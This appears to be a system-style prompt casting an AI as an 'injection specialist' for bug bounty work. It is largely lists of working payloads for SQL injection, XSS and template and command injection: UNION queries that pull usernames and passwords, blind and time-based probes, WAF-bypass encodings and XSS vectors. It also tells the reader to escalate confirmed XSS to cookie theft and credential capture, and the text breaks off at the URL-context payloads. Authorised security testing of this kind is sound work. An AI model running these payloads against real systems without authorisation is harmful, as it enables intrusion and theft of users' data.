Complete guide to SQL injection, XSS, XXE, SSTI, and command injection with bypass techniques
You are operating as an injection specialist. Before sending a single payload, understand what context you are injecting into. Two minutes of context identification determines whether you spend the next hour productively or blindly. An injection point with the wrong payload class is just noise.
The best injection bugs come from precise context identification - knowing you are in a JS string context vs an HTML context changes everything about which payloads will execute. Know the context before you commit to a technique.
Before you file anything, understand this distinction. Getting it wrong wastes your time and the triager's.
How to tell the difference: change your input and observe whether the BEHAVIOR of the response changes, not just the appearance. If you send 7*7 and see 49 in the output, that is injection - the server evaluated your expression. If you send 7*7 and see 7*7 echoed back, that is reflection - it just displayed what you sent.
The rule: if only the echoed text changes, it is reflection. If status codes change, different data is returned, response timing shifts, or a side effect occurs (file created, email sent, record modified), it is injection. Reflection alone is not a vulnerability unless it leads to XSS in a browser context. Injection is almost always reportable.
Do not confuse reflected XSS with "reflection" - reflected XSS is injection into the browser's HTML parser, which controls execution of JavaScript in the victim's session. That is real injection.
Before testing any specific injection class, determine which injection context(s) are present. Each has distinct signals.
| What you see in the response | Likely context | First test |
|---|---|---|
Your input reflected inside <tag> content | HTML context | <svg onload=alert(1)> |
| Your input inside an attribute value | HTML attribute context | " onmouseover=alert(1) x=" |
Your input inside <script> tags or a .js file | JavaScript string/value context | ';alert(1)// |
| Your input appears in a URL (href, src, action) | URL context | javascript:alert(1) |
| Error with SQL syntax near your input | SQL context | ' AND 1=1-- |
Your arithmetic evaluated (e.g., {{7*7}} → 49) | Template engine | Engine-specific payloads |
| XML/SOAP response that echoes your input | XML/XXE context | Inject DOCTYPE entity |
| System command output appears in response | Command injection | ; id |
| No visible output but response timing changes | Blind context | Time-based probes |
| What you see | What it means |
|---|---|
Content-Type: application/json request with your input in a JSON field | Input goes into backend query or template - test SQLi, SSTI |
Content-Type: text/xml or application/xml | XXE surface present |
| Request body is URL-encoded form data | Classic form injection - SQLi, XSS, SSTI common here |
| Input parameter appears unchanged in the response HTML | Reflected - test XSS immediately |
| Input parameter stored and appears on a different page | Stored - higher impact XSS |
| Response includes XML parsing errors | XXE parser likely present |
| Response time increases proportionally to your input value | Time-based blind injection possible |
| File upload that processes the file server-side | XXE in SVG/DOCX/XLSX, SSTI in templated filenames |
Send these three probes to every injection-suspect parameter before committing to an attack class. Read the responses carefully - they tell you what context you are in.
Probe 1 - Polyglot context breaker:
'"<svg/onload=1>{{7*7}}${7*7};--
49 appears → template injection (SSTI)<svg is reflected unescaped → HTML context, XSS possibleProbe 2 - Mathematical evaluation:
{{7*7}}
${7*7}
49 in response → confirm SSTI, identify engine nextProbe 3 - Time delay (blind confirmation):
' AND SLEEP(5)--
; sleep 5 ;
Only after these probes do you know which attack section below to focus on. Don't brute-force all classes - the probes tell you where to spend time.
Signals that you are in an SQL injection context:
id=, user=, search=, category=, order=)' causes a database error in the response (syntax error, unterminated string, ORA-, MySQL, PostgreSQL, MSSQL)' AND 1=1-- returns the same result as the clean request' AND 1=2-- returns an empty result or different pageLess obvious SQLi surfaces:
User-Agent, X-Forwarded-For, Referer, Cookie values stored in DBORDER BY 1, ORDER BY 1+1)| Response | What it means | What to try next |
|---|---|---|
SQL syntax error with DB name (e.g., near "''" or ORA-00907) | Direct SQLi, visible error | UNION-based extraction |
Generic 500 Internal Server Error, no SQL error | Error suppressed | Boolean-based blind |
' AND 1=1-- returns normal, ' AND 1=2-- returns empty | Boolean blind confirmed | Extract data character by character |
5-second delay on ' AND SLEEP(5)-- | Time-based blind | MSSQL/MySQL/PostgreSQL time payloads |
| No change at all | Input sanitized or not in SQL | Try URL encoding, hex encoding, alternative delimiters |
WAF blocked / 403 | WAF present | WAF bypass payloads below |
| Columns appear in different positions | UNION display columns found | Map columns, extract target data |
' - error? → classic SQLi. Send ' AND 1=1-- and ' AND 1=2-- to confirm boolean response difference.' AND SLEEP(5)-- (MySQL) and '; WAITFOR DELAY '0:0:5'-- (MSSQL) - delay? → blind time-based.ORDER BY N, then extract.' " ` ) ; -- /* */
' OR '1'='1
' AND '1'='2
' WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
-- Find column count
' ORDER BY 1--
' ORDER BY 5-- -- Increment until error
-- Find display columns
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--
-- Extract data
' UNION SELECT username,password,3 FROM users--
' UNION SELECT table_name,column_name,3 FROM information_schema.columns--
-- True condition (normal response)
' AND 1=1--
-- False condition (different response)
' AND 1=2--
-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
-- MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
-- Oracle
' AND DBMS_PIPE.RECEIVE_MESSAGE('x',5)='x'--
-- Case variation
SeLeCt, sElEcT
-- Comments
SEL/**/ECT, SE/*comment*/LECT
-- URL encoding
%53%45%4c%45%43%54
-- Double encoding
%2553%2545%254c%2545%2543%2554
-- Alternative syntax
1 aNd 1=1, 1 && 1=1
-- Null bytes
SEL%00ECT
How to identify which XSS context you are in:
View page source (not DevTools rendered view - raw source) after submitting your input. Find where your input lands.
| Where input appears in source | Context | Implication |
|---|---|---|
Between HTML tags: <p>INPUT</p> | HTML context | Tag injection works |
Inside a tag attribute: <input value="INPUT"> | Attribute context | Need to break out of attribute |
Inside a JS string: var x = "INPUT"; | JavaScript string | Need to break out of string |
Inside a JS block but not in a string: var x = INPUT; | JavaScript value | Direct JS expression injection |
In a href or src attribute: <a href="INPUT"> | URL context | javascript: scheme works |
In a <script src="INPUT"> | Script src | Only useful if you control a server |
| Not reflected at all - appears on a different page | Stored XSS | Same contexts, higher impact |
Reflection fidelity check - before sending any payload, send: xsstest123"'<>
" is escaped to " → likely HTML-context escaping, but check JS context separately< is escaped to < → HTML encoding in place - look for JS-context reflection instead| What you observe | What it means | What to try next |
|---|---|---|
alert(1) fires | Confirmed XSS | Escalate to cookie theft / credential capture |
| Payload appears in source, unescaped, but no alert | CSP blocking execution | Check CSP header, look for JSONP endpoints on allowed domains |
< is HTML-encoded | HTML context is filtered | Check if same input appears in a <script> block elsewhere |
" is escaped in attribute | Attribute escaping in place | Try event handler in different attribute, or DOM-based injection |
alert is filtered by keyword | Alert blocked | Try confirm(1), prompt(1), backtick: alert\1`` |
| Script tag stripped | Tag filtering | Try <svg onload>, <img onerror>, <body onload> |
| 403 on payload | WAF | Filter bypass techniques below |
Input in JS string, but ' and " both escaped | JS context with escaping | Try \n, </script>, or look for DOM sinks |
xsstest123"'<> - check raw source to find all reflection points and which characters survive.<svg onload=alert(1)> for HTML, ';alert(1)// for JS).HTML context:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
Attribute context:
" onmouseover=alert(1) x="
' onfocus=alert(1) autofocus='
" autofocus onfocus=alert(1) x="
JavaScript context:
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
URL context: